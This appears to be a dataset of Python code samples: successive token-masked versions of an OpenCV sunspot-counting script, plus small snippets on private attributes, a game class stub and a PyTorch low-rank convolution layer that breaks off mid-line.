sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass Entry:\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass Entry:\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass Entry:\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass Entry:\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass Processor:\n <assignment token>\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass Processor:\n <assignment token>\n <function token>\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass Processor:\n <assignment token>\n <function token>\n <function token>\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
423
b767519229058b50183d78bb97121f050e5b6bad
# defining private variables class Privacy: def __init__(self, val): self.__val = 900; print("Private data member =",self.__val,"\n") value = Privacy(800); print("Value not changable\n") value.__val;
[ "# defining private variables\r\nclass Privacy:\r\n def __init__(self, val):\r\n self.__val = 900; \r\n print(\"Private data member =\",self.__val,\"\\n\")\r\nvalue = Privacy(800);\r\nprint(\"Value not changable\\n\")\r\nvalue.__val;\r\n", "class Privacy:\n\n def __init__(self, val):\n self.__val = 900\n print('Private data member =', self.__val, '\\n')\n\n\nvalue = Privacy(800)\nprint('Value not changable\\n')\nvalue.__val\n", "class Privacy:\n\n def __init__(self, val):\n self.__val = 900\n print('Private data member =', self.__val, '\\n')\n\n\n<assignment token>\nprint('Value not changable\\n')\nvalue.__val\n", "class Privacy:\n\n def __init__(self, val):\n self.__val = 900\n print('Private data member =', self.__val, '\\n')\n\n\n<assignment token>\n<code token>\n", "class Privacy:\n <function token>\n\n\n<assignment token>\n<code token>\n", "<class token>\n<assignment token>\n<code token>\n" ]
false
424
b679444fde7cd8eb819443922f37ee54c0f29de4
from pirates.teleport.AreaTeleportActor import AreaTeleportActor class DoorTeleportActor(AreaTeleportActor): pass
[ "from pirates.teleport.AreaTeleportActor import AreaTeleportActor\n\nclass DoorTeleportActor(AreaTeleportActor):\n pass\n", "from pirates.teleport.AreaTeleportActor import AreaTeleportActor\n\n\nclass DoorTeleportActor(AreaTeleportActor):\n pass\n", "<import token>\n\n\nclass DoorTeleportActor(AreaTeleportActor):\n pass\n", "<import token>\n<class token>\n" ]
false
425
f714c7006f50379cc7508a13d710d902d38d2d1f
import torch import torch.nn as nn import torch.nn.functional as F # Const. low-rank version class xCNNlow(torch.nn.Module): def __init__(self, channels, filters, kernel_size, padding=0, stride=1, groups=1, rank=1, bias=True): super(xCNNlow, self).__init__() self.filters = filters self.times = 2 self.kernel_size = kernel_size self.channels = channels//groups self.padding = padding self.stride = stride self.biasTrue = bias self.rank = rank self.groups = groups self.conv_weights = nn.Parameter(torch.Tensor(filters//self.times, channels, kernel_size, kernel_size).to(device)) self.column_weights = nn.Parameter(torch.Tensor(filters-filters//self.times, self.rank).to(device)) self.row_weights = nn.Parameter(torch.Tensor(self.rank, filters//self.times).to(device)) torch.nn.init.xavier_uniform(self.conv_weights) self.column_weights.data.uniform_(-0.1, 0.1) self.row_weights.data.uniform_(-0.1, 0.1) if self.biasTrue: self.bias = nn.Parameter(torch.Tensor(filters).to(device)) self.bias.data.uniform_(-0.1, 0.1) def forward(self, input): self.correlated_weights = torch.mm(self.column_weights, torch.mm(self.row_weights,self.conv_weights.reshape(self.filters//self.times,-1)))\ .reshape(self.filters-self.filters//self.times, self.channels, self.kernel_size, self.kernel_size) if self.biasTrue: return 